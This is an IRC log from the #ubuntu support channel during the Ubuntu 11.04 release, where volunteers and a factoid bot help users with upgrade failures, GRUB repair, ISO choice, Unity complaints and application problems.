[08:51] <ubottu> roma99: The Alternate CD is a classic text-mode install CD. It supports a wider range of hardware than the !LiveCD, and can also be used as an upgrade CD. http://www.ubuntu.com/download/ubuntu/alternative-download#alternate - See also !minimal
[08:52] <red2kic> roma99: If your ISO have -desktop- in it, you got the wrong iso.
[08:52] <daxt> hey Blue1  That did not help :(
[08:52] <Blue1> daxt: :-(
[08:52] <Blue1> daxt: you have two version of ubuntu and one is not listed, is that correct?
[08:52] <daxt> yes Blue1
[08:53] <roma99> red2kic: no desktop folder in ISO file!
[08:53] <Blue1> daxt: what do you have installed?  what shows up, what does not?
[08:53] <red2kic> roma99: What iso do you have?
[08:53] <daxt> i see the 10.10 with many kernal versions and my old school Win XP
[08:54] <roma99> red2kic:  ubuntu-11.04-desktop-i386.iso   >> just download from ubuntu.com!!!!
[08:54] <Blue1> daxt: okay what does NOT show up?
[08:54] <red2kic> roma99: Right -- That's the wrong one.
[08:54] <daxt> ubuntu 11.04 entry
[08:54] <red2kic> roma99: You want ubuntu-11.04-alternative-i386.iso
[08:54] <red2kic> !alt | roma99
[08:55] <Blue1> daxt: I just downloaded the iso for 11.04 so I have no experience with that (yet) - maybe someone else can assist?
[08:55] <roma99> red2kic: so what's the diffrent between them?
[08:55] <red2kic> ubottu: You fail me. :\
[08:55] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[08:55] <daxt> Blue1  its installed on sdb8
[08:55] <red2kic> roma99: The Alternate CD is a classic text-mode install CD. It supports a wider range of hardware than the  !LiveCD, and can also be used as an upgrade CD.
[08:55] <Rehan> Downloading at 16 kB/s reminds me of being on a US Robotics modem back in the day
[08:55] <daxt> if i can add that to grub loader , then it should work
[08:56] <daxt> Rehan r u from sri lanka ?
[08:56] <red2kic> roma99: desktop -- it included graphical installer.
[08:56] <Blue1> daxt: yes
[08:56] <red2kic> roma99: alternative does not.
[08:56] <Rehan> daxt: i'm in california
[08:56] <red2kic> roma99: And it also can be used for upgrading, etc etc.
[08:56] <zvacet> Rehan: use torrent
[08:56] <daxt> Blue1 where is that file ?
[08:56] <daxt> Rehan r u a sri lankan ?
[08:56] <Blue1> daxt: what is your boot device?
[08:56] <Rehan> zvacet: how do you download updates from torrent?
[08:56] <daxt> sda1
[08:56] <Rehan> zvacet: i have the liveUSB installing but it has been installing ubiquity for a long time now
[08:57] <roma99> red2kic: but i think if i burn that on a CD , i can also install a fresh ubuntu? am i right?
[08:57] <Rehan> daxt: nope, parents are from Pakistan
[08:57] <themacg33k> Hi. I can't seem to find out what Ubufox actually does to Firefox in Ubuntu... what is it?
[08:57] <root__> lo
[08:57] <zvacet> Rehan:  sorry ,I was thinking of iso yes servers are overloaded
[08:57] <red2kic> roma99: Yes, you can do a clean installation. Be sure to backup /home/ and /etc/
[08:57] <root__> hello
[08:57] <root__> i need some help
[08:57] <daxt> Rehan - ok cool ,  name Rehan is a very common Sri Lankan name too ;) that is why i asked
[08:57] <Rehan> ask my son.
[08:57] <root__> can any one help me
[08:58] <root__> dear i am using back track 4
[08:58] <folivora> Could someone remeber, where in the hell in compiz is setting  that when you move cursor away from active to another it dims totally the last window and vuse versa
[08:58] <Robert__> Could not calculate the upgrade
[08:58] <Robert__> An unresolvable problem occurred while calculating the upgrade:
[08:58] <Robert__> E:Error, pkgProblemResolver::Resolve generated breaks, this may be
[08:58] <Robert__> caused by held packages.
[08:58] <Robert__> This can be caused by:
[08:58] <FloodBot3> Robert__: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[08:58] <Robert__> * Upgrading to a pre-release version of Ubuntu
[08:58] <maxmahem> Anyone have any clues on how to fix a broken GRUB setup?
[08:58] <Rehan> daxt: oh ok cool, i didn't know it was common in Sri Lanka also
[08:58] <root__> when m trying to command airmon-ng it shows my wlano
[08:58] <red2kic> !bt | root__
[08:58] <folivora> I had that setting on before upgrade...
[08:59] <red2kic> !backtrack | root__
[08:59] <ubottu> root__: There are some Ubuntu derivatives that we cannot provide support for due to repository and software changes. Please consult their websites for more information. Examples: gNewSense (support in #gnewsense), Linux Mint (see !mint), LinuxMCE (support in #linuxmce), CrunchBang (support in #crunchbang), BackTrack (support in #backtrack-linux), Ultimate Edition
[08:59] <root__> but when i try to airmon-ng start wlan0 it gives error
[08:59] <Rehan> maxmahem: whats the problem with your grub?
[08:59] <Braiam> red2kic: you havo no luck with ubottu
[08:59] <Braiam> have
[08:59] <maxmahem> Rehan: Somehow I broke it during the upgrade to 11.04
[08:59] <Dania> hey guys, i was upgrading to ubuntu 11.04 from 10.10 and the screen frozen during the update, so i restarted the pc and now i'm getting the black screen with: Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)
[08:59] <Rehan> maxmahem: do you have a liveCD?
[09:00] <Tanvir> Hello, how can I install GNOME3 in my Ubuntu 11.04?
[09:00] <red2kic> Braiam: ubottu still holds a grudge against me since that night at the lake.
[09:00] <red2kic> :(
[09:00] <maxmahem> Rehan: I'm booting off the installed system now (11.4 running fine even!) via SuperGrub.
[09:00] <maxmahem> But I can't seem to fix it.
[09:00] <thegoodcushion> Hi everyone.  I've connected an HP Deskjet 2000 to Ubuntu via USB.  Ubuntu isn't virtualized, it's running on the metal now.  I print a test page and Ubuntu thinks it's completed but nothing comes out of the printer.  What do I do?  Are there proprietary drivers that I should use?
[09:00] <Braiam> !gnome3 | Tanvir
[09:00] <ubottu> Tanvir: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[09:00] <zvacet> maxmahem: reinstall it https://help.ubuntu.com/community/Grub2#Reinstalling from LiveCD
[09:00] <maxmahem> sudo grub-install doesn't want to work. It Complains: Attempting to install GRUB to a partitionless disk or to a partition.  This is a BAD idea..
[09:01] <celestial> hi every one i have a problem i lost power half way through my upgrade to 11.04 from maverick and ive tryed to use the disk to upgrade it but it says i already have 11.04 and i cant get the system to boot up even in recovery  have a lot of stuff on there and cant afford to lose it any help would be appriciated
[09:01] <red2kic> maxmahem: Usually you point it to a hard drive.
[09:01] <jiltdil> hi 11.04 is good :)
[09:01] <Rehan> maxmahem: in liveCD, open terminal then type sudo -i
[09:01] <alkisg> Any way to sync evolution "tasks" with any app for android?
[09:01] <Rehan> maxmahem: then: mount /dev/sda5 (sda5 is where your Ubuntu is, change as needed)
[09:02] <Rehan> maxmahem: then: grub-install --root-directory=/mnt/ /dev/sda
[09:02] <red2kic> celestial: You borked the installation. Grab a LiveCD -- Mount your hard drives, backup /home/ and /etc/ -- Go with a clean installation.
[09:02] <Tanvir> Braiam, okay, thanks. Another help, how to include shortcuts and other options (like weather)  in panel? Also, I miss the bottom panel and the minimized windows there, who to get those?
[09:02] <berkes> What is the shortcut key for the new unity menu? Not the bar, but the search that pops up when  I click the ubuntu logo?
[09:02] <michaels> hi! I updated from 10.10 to 11.04, now my installation is broken (because during update process an error occured). Is there some way to report this to cannonical (with logfiles) so that they maybe can fix this problem, or does this make no sense. later I will simply reinstall
[09:02] <yi`zhi> hi everyone! i'm on narwhal right now. things are looking pretty good except for zeitgeist. will i be able to remove it without incurring penalties?
[09:02] <Rehan> maxmahem: then reboot and it should find your proper entries, then you can go into your ubuntu and from terminal do: sudo grub-install /dev/sda
[09:03] <maxmahem> Rehan: Well slight problem, I'm already in my install, not running of a live CD.
[09:03] <jiltdil> can we not change the top applet (opacity)
[09:03] <zvacet> michaels: what kind of error
[09:03] <maxmahem> Thus my active partition is already mounted.
[09:03] <Dania> Rehan can you help me in my problem mentioned above ^^
[09:03] <Rehan> maxmahem: go to a liveCD, then do those commands
[09:04] <Rehan> Dania: sorry i only knew the answer to maxmahem's issue because i had the same problem myself a week ago. I'm actually really new to Ubuntu and don't know much at all
[09:04] <yi`zhi> or is zeitgeist something we're not allowed to talk about :X
[09:04] <Robert__> don't get me wrong I find this whole ubuntu thing fascinating but I am having way to many problems with it
[09:04] <zvacet> maxmahem: exact same commaands on link I posted to you
[09:04] <nesto1000> So guys, I just installed ubuntu 11.04 64
[09:04] <Braiam> Tanvir: I don't know, I'll wait a week or twice to upgrade
[09:05] <michaels> zvacet, i got a black screen (with upstart-commands from start of 10.10) and the cursor. nothing more worked. then i shut down and did the rest of the install from the shell. but now, some things don't work properly
[09:05] <incorrect1> oh windows don't have any edge resistance in unity
[09:05] <nesto1000> So guys, I just installed ubuntu 11.04 64bit and well, I can' get flash player to work.... any help with that?
[09:05] <Tanvir> Barridus, good. I am in trap by this update. :(
[09:05] <jiltdil> i am on 11.04 64bit in ubuntu s/w center which option shhould i to do install for virtual box as there are many?
[09:05] <dasy2k1> !flash | nesto1000
[09:05] <ubottu> nesto1000: To install Flash see https://help.ubuntu.com/community/RestrictedFormats/Flash - See also  !Restricted and !Gnash
[09:06] <zvacet> michaels: if you backed up your files reinstall
[09:06] <jiltdil> !virtualbox
[09:06] <ubottu> virtualbox is a x86 !virtualizer. A !free edition is available from the package 'virtualbox-ose'. A non-free edition is available at http://virtualbox.org for most Ubuntu releases (help in #vbox) - Setup details at https://help.ubuntu.com/community/VirtualBox
[09:07] <michaels> zvacet, sorry, I don't understand what you want to say....
[09:07] <michaels> zvacet, you mean, that I should do reinstall if i have backup? yes, i have backup
[09:08] <zvacet> michaels: if you have files witch you want to keep back them up and after that reinstall
[09:08] <michaels> zvacet, but first, i thought that maybe it makes sense to report this to cannonical somehow.... or does this make no sense?
[09:08] <EbanSoul> Is the download server overloaded with requests ? just curious because it is going really slow here.
[09:08] <eekTheCat> Would someone kindly reccomend an rss client..
[09:08] <michaels> zvacet, maybe they can find a new problem? or a problem that occured also for other users?
[09:08] <yata> I just downloaded ubuntu (i386) (from Australia) it was pretty quick
[09:09] <dasy2k1> most likely EbanSoul, try the bittorrent downloands, they should be fast
[09:09] <red2kic> eekTheCat: Liferea for one thing.
[09:09] <celestial> anyone help with my problem above please
[09:09] <zvacet> michaels: yes it make sense but I don't know how to do it
[09:09] <EbanSoul> tyvm will do
[09:09] <michaels> zvacet, ok thanks!
[09:09] <MrOpposite> hello
[09:09] <berkes> NM it is the "windows"  key. AKAK "meta"
[09:09] <CQ> quick question... i'm running lucid, and do-release-upgrade shows no upgrade available... what do I need to do??
[09:09] <yi`zhi> o well. i'm removing zeitgeist right now
[09:09] <MrOpposite> is there any program that works like screen
[09:09] <red2kic> CQ: You don't have to upgrade if you wish to stay on LTS.
[09:09] <MrOpposite> but for X-applications?
[09:09] <michaels> everyone: how to report broken updates to cannonical? or does this make no sense? if it makes sense; how to do it?
[09:09] <jiltdil> any new fighting game available in ubuntu 11.04?
[09:10] <CQ> red2kic: I know, but in that VM I want to upgrade
[09:10] <red2kic> !bugs | michaels
[09:10] <ubottu> michaels: If you find a bug in Ubuntu or any of its derivatives, please file a bug using the command « ubuntu-bug <package> » - See https://help.ubuntu.com/community/ReportingBugs for other ways to report bugs - Bugs in/wishes for the IRC bots (not Ubuntu) can be filed at http://bugs.launchpad.net/ubuntu-bots
[09:10] <red2kic> CQ: Check Software Sources. Look for it. :)
[09:10] <dasy2k1> MrOpposite: screen for X apps, isnt that called multiple desktops?
[09:10] <red2kic> CQ: You might want to do a clean installation (just much quicker without having to go through two versions).
[09:10] <eekTheCat> red2kic, thank you. anyone else with news aggregator reccomendations?
[09:10] <MaRk-I> CQ: try: alt+f2 update-manager
[09:10] <zvacet> CQ:  unnder synaptic>repositories>updates>at the bottom you can choose between normal and lts release upgrade set your to normal
[09:10] <MrOpposite> uhm, I was intending on using it with xforwarding and ssh
[09:11] <MrOpposite> to use*
[09:11] <red2kic> eekTheCat: Thunderbird does it -- but it comes with mail + calendar.
[09:11] <MrOpposite> not "on using"
[09:11] <michaels> ubottu, yes, but there are several things broken, because of the update.... is there a way to report the whole state of the installation? so that they maybe can find the bug, if they need this info...?!
[09:11] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[09:11] <red2kic> eekTheCat: Google Reader. I'm sure there are few more I forget about.
[09:11] <red2kic> eekTheCat: Liferea got tray so it's pretty nifty.
[09:11] <dasy2k1> MrOpposite:  i would just use screen then
[09:11] <CQ> hm, can I jump from 10.04 to 11.04, or do I need to hop to 10.10?
[09:12] <MrOpposite> hmm
[09:12] <MrOpposite> does that work?
[09:12] <learner> anyone get pithos to work in 11.04?
[09:12] <michaels> everyone: there are several things broken, because of the update.... is there a way to report the whole state of the installation? so that they maybe can find the bug, if they need this info...?!
[09:12] <zvacet> CQ: you can not skip releases so it is 10,04>10.10>11.04
[09:12] <andeeeuk> hey
[09:12] <cvrser>  MrOpposite: I think you could only do something like that with VNC?
[09:12] <andeeeuk> is anyone having problems with skype in 11.04
[09:13] <zvacet> CQ:  or you can do fresh install of natty
[09:13] <MrOpposite> hmm
[09:13] <andeeeuk> its ok with 1 call but when you make a second it skrews up
[09:13] <eekTheCat> red2kic, so lifera is what you use regularly? I prefer desktop apps, so that eliminates google reader
[09:13] <linuxuz3r> later guys
[09:13] <MrOpposite> hmm
[09:14] <red2kic> eekTheCat: I regularly use Thunderbird but I'm changing that soon as it hogs down my memory. Some kind of memory leak, I imagine. So yeah, I'm not using any RSS at this moment -- but I plan to give liferea a try (I used it before I used Thunderbird).
[09:15] <audhi> #ubuntu+1
[09:15] <red2kic> eekTheCat: Down with Mozilla! Bloated apps! :(
[09:15] <andeeeuk> has anyone else had problems using skype on 11.04?
[09:16] <learner> i don't use it, it seemed shady in 10.10
[09:16] <incorrect1> right now do i go back to a 1x4 virtual desktop arrangement i hate 2x2
[09:16] <celestial> how can i do a repair install of 11.04 my network install was interupted and i cant afford to lose my stuff
[09:17] <eekTheCat> red2kic, liferea is unresponsive right now. it's loading all the default feeds which I was going to delete anyway :(
[09:17] <mang0> guys, I'm downloading the alternate 11.04 iso...which download do I need, Idk which one I need!
[09:17] <mang0> ubuntu-11.04-desktop-i386.iso.torrent is htat what i need?
[09:17] <red2kic> eekTheCat: Default Feeds. Heh. Planet Gnome, Planet Ubuntu, etc. :\
[09:17] <andeeeuk> has anyone heard of skype before?
[09:17] <andeeeuk> :p
[09:17] <SuperLag> andeeeuk: I guess if you're having problems with Skype on 11.04, I won't upgrade...
[09:18] <zvacet> mang0: you can also use alternate not eye candy but do the same job
[09:18] <red2kic> mang0: ubuntu-11-04-alternative-i386.iso.torrent
[09:18] <SuperLag> because we use it too much for me to be without it...
[09:18] <mang0> okay thanks
[09:18] <andeeeuk> SuperLag: yes im having problems with skype on 11.04, i wont upgrade but what do i upgrade to?
[09:19] <mang0> I need skype O.O I can't use 11.04 then
[09:19] <SuperLag> andeeeuk: i don't understand the second part of what you said
[09:19] <Nando> should I install my graphics card driver to use unity?
[09:19] <andeeeuk> well i already have 11.04
[09:19] <andeeeuk> i cant upgrade again
[09:19] <michaels> nando, as far as i know, you need 3d acceleration for unity
[09:19] <ror> right, thanks for the help some of you, I've almost got it back to how I've liked
[09:19] <andeeeuk> have you used it in classic ubuntu?
[09:19] <CQ> andeeeuk: instal virtualbox, install a small older ubuntu, install and trun skype there...
[09:20] <ror> still can't work out how to get my scale switcher back, but that'll do for now
[09:20] <learner> pithos, anyone get that going?
[09:20] <andeeeuk> I really donw know why it has stopped working in 11.04
[09:20] <michaels> nando, is there a open 3d driver for your graphics card? if yes, try this one
[09:20] <andeeeuk> you can make 1 call perfectly
[09:20] <andeeeuk> but another call and its skrewed up
[09:21] <Nando> michaels:  I don't know how it is useful I prefer gnome shell
[09:21] <andeeeuk> i think i will restart skype everytime i need to make a new call :p
[09:22] <andeeeuk> comical one of those really important apps and its not working correctly in 11.04
[09:22] <michaels> nando, I think for gnome shell you also need 3d acceleration, but im not 100% sure
[09:22] <andeeeuk> solution: testing, testing and more testing...
[09:23] <Nando> michaels:  gnome works fine but I have a problem getting in unity
[09:23] <green_> whats up with this ;eft side bar on 11.04? and no bottom panel
[09:24] <green_> left
[09:24] <Soothsayer> ok now
[09:24] <Soothsayer> this is strange
[09:24] <Soothsayer> my ubuntu installer has been stuck on this screen for like 5 hours
[09:24] <dasy2k1> green_:  just log out and log back in again selecting ubuntu classic
[09:24] <michaels> nando? what happens? doen't it load unity and gnome instead?
[09:24] <Soothsayer> "Saving installed packages....."
[09:24] <zvacet> Nando: it can be graphic card issue
[09:24] <Sik> So, I just updated to 11.04 through the updater, and was forced to go into safe mode since apparently Unity crashes on this hardware (video doesn't respond, sometimes system won't boot at all)... besides I don't like it anyways. Is there any way to set Ubuntu to always start with the old shell?
[09:24] <green_> k
[09:24] <Soothsayer> how do i cancel the install ?
[09:24] <Blue1> Soothsayer: power off/power on
[09:25] <Soothsayer> Blue1: hmm.. ok
[09:25] <Soothsayer> going to
[09:25] <jatt> Sik: at login time you can choose classical desktop or similar it will load gnome
[09:25] <Soothsayer> bbl then
[09:25] <zvacet> Soothsayer: restart clomp but will anything work after that
[09:25] <freaky[t]> hi all. how do i install sun java on 11.4?
[09:25] <zvacet> *comp
[09:25] <Sik> jatt: OK, how do I make the old shell the default though? (I'll forget to do it every time, and my mum won't even get she has to do it)
[09:25] <jatt> freaky[t]: download jdk-6u25-linux-i586.bin from oracle's site, install
[09:26] <linuxrocks> Hi all, I'm going to upgrade from 10.10 to 11. Has anyone encountered some obvious problems during the upgrade process?
[09:26] <ror> btw to anyone having problems loading classic; the way I did it was to load "classic (no effects)" then in that switch off "unity plugin" in CCSM, then switch back to "Classic"
[09:26] <krad> hi.  where can I see the list of startup services upon booting the OS?
[09:26] <Nando> michaels: the beautiful thing about gnome tasks  are organized  properly  aplications places etc
[09:26] <Blue1> freaky[t]: this might work:  http://pkill-9.com/easy-way-to-install-java-runtime-enviorment-jre-in-debian/
[09:26] <zvacet> freaky[t]: install ubuntu-restricted-extras
[09:26] <SeRVeR01> hey there, am trying to play game with wine but i got a disturbing thing the game doesn't come in full screen the title bar of ubuntu still there =/ any ideas ?
[09:26] <michaels> linuxrocks, yes I had a servus problems.... make a backup first!!!
[09:26] <ror> Sik: In Administration > Login Screen, there's a choice for "Default"
[09:26] <krad> where can I see the list of startup services upon booting the OS?
[09:26] <jatt> Sik: I don't remember either :(... maybe in the login screen you can set it as default?
[09:26] <linuxrocks> michaels, which kind of problems?
[09:27] <Sik> "Pantalla de acceso" in Spanish?
[09:27] <freaky[t]> jatt: is it adviced to use the sun java insted of the open jdk?
[09:27] <michaels> nando, so you want gnome shell? and this works or not?
[09:27] <Blue1> !es | sik
[09:27] <ubottu> sik: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[09:27] <michaels> linuxrocks, error during install: blackscreen
[09:27] <BlackDex> i just have installed/upgraded to natty
[09:27] <Sik> Blue1: I can speak English, I just have Ubuntu set to Spanish :P
[09:27] <linuxrocks> michaels, that's not good. What did you do then?
[09:27] <Nando> guys anyone has audio cutoffs with skype?
[09:27] <BlackDex> And if i close pidgin, it realy closes
[09:27] <jatt> freaky[t]: I use it at work, it works fine. If it's for your own use is ok (1 user) but for a machine used by different people maybe is better to use from the repos.
[09:27] <Sik> Classic Ubuntu, right?
[09:27] <BlackDex> insteated of running on the background
[09:27] <Blue1> ok
[09:28] <Sik> OK, will reboot, let's see if that does it :O)
[09:28] <freaky[t]> jatt: hm ok thx
[09:28] <zvacet> Sik: onlogin screen under session choose ubuntu classic
[09:28] <Sik> zvacet: OK then I got it
[09:28] <Sik> :P
[09:28] <stefan_> eeeeeeeej
[09:28] <Braiam> BlackDex: check the pidgin preference
[09:28] <zvacet> Sik:  :o
[09:28] <Flashtek> good morning peoples.
[09:29] <fadax> hi
[09:29] <Braiam> Flashtek: night still
[09:29] <michaels> linuxrocks, i completed the upgrade using shell, but now some things are brocken
[09:29] <paul> how does rsync identify two files as the same file and skip it on the next sync, I assume it goes by more than just the fiel name?
[09:29] <linuxrocks> michaels, which things?
[09:29] <michaels> i can't start nautilus
[09:29] <Flashtek> paul, md5
[09:30] <michaels> sometimes ubuntu freezes
[09:30] <michaels> and skype also doen't start, but thats maybee another storry
[09:30] <Flashtek> michaels, put it in the microwave for 2 minutes..
[09:30] <Flashtek> michaels, what hardware ?
[09:30] <michaels> hehe....
[09:30] <michaels> macbook 2,1
[09:30] <Nando> I think 11.4 needs more time to mature
[09:30] <freaky[t]> ok thanks for all your help ;D
[09:30] <paul> Flashtek: this md5 sounds like a goood deal
[09:31] <fadax> i left my ubuntu virtual machine updating to the new version overnight, but during the update it looks like windows update restarted the computer and now i can't boot ubuntu in vmware...  it says "the disk drive for / is not ready yet or not present" .. "press S to skip mounting or M for manual recovery"  what should i do?
[09:31] <linuxrocks> michaels, thanks, I will postpone the upgrade...
[09:31] <Braiam> Nando: but it doesn't mature w/o tests
[09:31] <BlackDex> Braiam: The only thing i can see there is about the systray
[09:31] <Whisky_> Upgraded to 11.04 from 10.10 and have been successfuly locked out of X. Even failsafex won't start. I can only get to the login screen and when I enter my password, no desktop! Nightmare! help! :(
[09:31] <BlackDex> and that isn't available any more
[09:31] <zvacet> Nando: same story with every new release of course things will be better when we report bugs
[09:32] <Nando> Braiam: and that unity is stupid move
[09:32] <michaels> linuxrocks, yes, maybe it is a good idea to wat some days with upgrade, if you want to update a productive machine....
[09:32] <cybrhuman> Nando: why is unity a bad move?
[09:32] <ror> because it's regressive not progressive
[09:33] <zvacet> Nando: use gnome or any other de
[09:33] <linuxrocks> michaels, yes, this is my "production" machine. Prefer services to be up than running the new, shiny version of Ubuntu
[09:33] <cybrhuman> ror: unity?
[09:33] <incorrect1> how can i put back normal scroll bars?
[09:33] <linuxrocks> michales, s/the/than
[09:33] <Nando> cybrhuman: cause there is no need for it gnome is better
[09:33] <MJBrune> I have a Intel Corporation 82801G (ICH7 Family) sound chipset and I want to know if my mic will work in xubuntu but its not working right. How can I fix this?
[09:33] <fadax> can anyone help m?
[09:34] <Flashtek> there is a solution to the "windows rebooted during ubuntu install"
[09:34] <fadax> me
[09:34] <Flashtek> don't run windows !
[09:34] <dasbootcapitan> Hi
[09:34] <cybrhuman> Nando: why? with these 16:9 screens we have today unity gives more production screen estate.
[09:34] <ror> cybrhuman, no it DOESN'T
[09:34] <dasbootcapitan> İ wanna install ubuntu to my refligator
[09:34] <Flashtek> how many sodding times will it run update-grub ffs..
[09:34] <fadax> Flashtek i can't fix this?  i have to reinstall ubuntu?
[09:34] <ror> with 16:9 it's more important to have icons across top/bottom where you can see them all; and I used to use left hand toolbars when I had 4:3
[09:34] <odo_> Hello everyone, any idea how to flush the DNS cache on a vanilla maverick? (short of rebooting, of course)?
[09:34] <cybrhuman> ror: how do you argue that?
[09:35] <dasbootcapitan> How can i compile go bios files
[09:35] <ror> the fact unity doesn't even allow you to choose where to have the launcher is crazy
[09:35] <Flashtek> fadax, boot from recovery, run install-grub or similar
[09:35] <Kartagis> is it possible to chroot ssh except root?
[09:35] <ror> in gnome-classic I can have as many panels as I wish, configure them all as I wish; Unity takes away control
[09:35] <Kartagis> because otherwise I can't log in as root
[09:35] <jatt> unity is beta software avoid it if you use your machine for serious work
[09:36] <Blue1> Kartagis: why do you want to login as root?
[09:36] <Whisky_> anyone?
[09:36] <ror> with 16:9 people don't maximise windows, they have long top/bottom menus making the space 16:8 then split the screen into two 8:8 sections for windows
[09:36] <Nando> cybrhuman:  maybe you are right but I do not see a big difference though
[09:36] <Whisky_> I Upgraded to 11.04 from 10.10 and have been successfuly locked out of X. Even failsafex won't start. I can only get to the login screen and when I enter my password, no desktop! Nightmare! help! :(
[09:36] <jatt> see https://bugs.launchpad.net/ubuntu/+source/unity
[09:36] <Kartagis> Blue1: this is a VPS
[09:36] <jatt> 1149 open bugs
[09:36] <jatt> totally useless
[09:36] <fadax> Flashtek i can't  boot from recovery, i get the same error
[09:36] <Blue1> Kartagis: ahh
[09:37] <vish> !ot | jatt
[09:37] <ubottu> jatt: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[09:37] <cybrhuman> ror: yes, but for many of us the panels were just there eating more screen estate than we liked, but they had to be there. The combination of the everpresent panel and the top bar of the window is nice I think.
[09:37] <Flashtek> fadax, install CD boot ?
[09:37] <ror> cybrhuman, no they did NOT have to be there! You can add/remove/move them as you wish in gnome. In Unity you cannot move them
[09:37] <cybrhuman> Nando: Not everyone is happy about it of course, but we still have alternatives
[09:37] <fadax> Flashtek well i can get a console root@mycomputer if i press "M" for manual recovery
[09:37] <krad> where can I see the list of startup services upon booting the OS?
[09:38] <fadax> can i do it from here?
[09:38] <Diverdude> where is gs installed in ubuntu?
[09:38] <green_> ok, what is this unity program for if it totally changes the way ubuntu has always looked? is it just to look more like some windows os?
[09:38] <vish> Diverdude: gnome-shell?
[09:38] <Flashtek> fadax, install-grub might help you
[09:38] <cybrhuman> ror: without panels there is no acceptable place for a systray.
[09:38] <ror> green: it takes the worst of mac (single menu at the top) and worst of windows (launchers don't open new instances but switch to old ones) and combines them
[09:38] <fadax> Flashtek it says "command not found"
[09:38] <jatt> green_: is to look more like Mac OS
[09:38] <Diverdude> vish, yes
[09:39] <Sik> OK, it wasn't that (though I wanted to get rid of Unity anyways). Apparently for whatever reason the new Linux kernel doesn't like my computer and won't boot properly no matter what I do, unless I go into safe mode and force it to run with the safe graphics drivers.
[09:39] <vish> !gnome3 | Diverdude
[09:39] <ubottu> Diverdude: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[09:39] <ror> cybrhuman, sure, but you can put a small panel on the left/right/wherever in gnome-classic, you can't with unity, so how is unity an improvement?
[09:39] <Diverdude> vish, its just a normal ubuntu 10.04 shell
[09:39] <ror> by simply forcing you to have the setup the developers want you to have without letting you customize it, is not a progressive step
[09:39] <Nando> cybrhuman: I like the new software center but sometimes I have a problem installing restricted extras giving me message operation failed
[09:39] <ror> Sik: first time I had to boot to an older kernel, then dpkg --configure
[09:39] <green_> jatt: thats what i thought just to make it acceptible for mac users
[09:40] <vish> jatt, green_ : if you dont have any support questions, you can talk in -offtopic..
[09:40] <jatt> green_: yes but it fails miserably imho
[09:40] <Sik> ror: OK, will do that, though later as right now I need to get something off internet >_>
[09:40] <ror> Ubuntu jumped the shark around the time of bug #375345 tbh
[09:40] <ubottu> Launchpad bug 375345 in Ubuntu ""Ubuntu One" name creates confusion" [Medium,Won't fix] https://launchpad.net/bugs/375345
[09:40] <Estragon> hi, nautilus is not responding, file manager is not responding too
[09:41] <Estragon> im on 11.04
[09:41] <Estragon> for example I cant click on a icon on desktop or open a places
[09:41] <Whisky_> anyone?
[09:41] <Whisky_> please?
[09:41] <Whisky_> I can't get into X
[09:41] <cybrhuman> ror: understand me, I am not saying unity is the best for all, but for many I am sure it is. And for people who like to use gnome, gnome is still there. As for forcing a look on the desktop, most users wont do too much about their desktop, they want to use it and not having to configure it. So this is an improvement because you get more screen estate as default
[09:42] <fadax> Flashtek oh i found that "grub-install" works, but it says "INSTALL_DEVICE can be a GRUB device name or a system device filename" .. what should i do?
[09:42] <Flashtek> fadax, /dev/sda ??
[09:42] <vish> !ot | cybrhuman , ror
[09:42] <ubottu> cybrhuman , ror: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[09:42] <ror> let's take this ot then
[09:42] <Braiam> fadax: it changes depending of your HD array
[09:43] <krad> what's the restart command in ubuntu?
[09:43] <cybrhuman> ror: in a moment
[09:43] <jatt> restart
[09:43] <ror> krad: reboot
[09:43] <krad> not found
[09:43] <jatt> /sbin/restart
[09:43] <ror> or if everything is frozen, ctrl+f2 to get to a terminal, then ctrl+alt+del
[09:43] <HTCPX> does anyone know why ubuntu 11.04 installation is downloading updates when I haven't ticked the download update box?
[09:43] <krad> -su: /sbin/restart: No such file or directory
[09:43] <cybrhuman> Nando: I havn't looked too much around looking for all apps, but I expect it gets a fix.
[09:43] <Braiam> krad: sudo restart
[09:43] <krad> i'm root.
[09:43] <Braiam> krad: sudo reboot
[09:44] <Messelink> "Could not download the release notes" -- nay tips?
[09:44] <Flashtek> krad, define "restart"
[09:44] <fadax> Flashtek: it says "cannot remove /boot/grub/915resolution.mod - it is a read only file system"
[09:44] <Messelink> any%
[09:44] <vish> krad: $ sudo shutdown -r now
[09:44] <krad> Flashtek, to restart the OS
[09:44] <krad> there is no shutdown command
[09:44] <Flashtek> fadax, mount -o remount,rw /dev/sda
[09:44] <fadax> Braiam oh right.. i was running ubuntu on a virtual machine doe it make a difference?
[09:44] <fadax> does*
[09:44] <Dania> hey guys, i was upgrading to ubuntu 11.04 from 10.10 and the screen frozen during the update, so i restarted the pc and now i'm getting the black screen with: Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) , any ideas?
[09:44] <vish> krad: $ sudo shutdown -r now ; will work, are you trying from terminal? or from GUI
[09:45] <fadax> Flashtek it says it can't find /dev/sda in fstab when i do that
[09:45] <Nando> cybrhuman: thanks it's a pleasure talking with you
[09:45] <bashelina> my latop actually runs much slower now with natty :(
[09:45] <bashelina> shouldnt it be the other way around ?
[09:45] <ouss999> 11.04 sucks
[09:45] <vish> !bug | bashelina
[09:45] <ubottu> bashelina: If you find a bug in Ubuntu or any of its derivatives, please file a bug using the command « ubuntu-bug <package> » - See https://help.ubuntu.com/community/ReportingBugs for other ways to report bugs - Bugs in/wishes for the IRC bots (not Ubuntu) can be filed at http://bugs.launchpad.net/ubuntu-bots
[09:45] <Joemama> I dont think I like this menu layout at all
[09:45] <Joemama> where the heck is the menu bar?
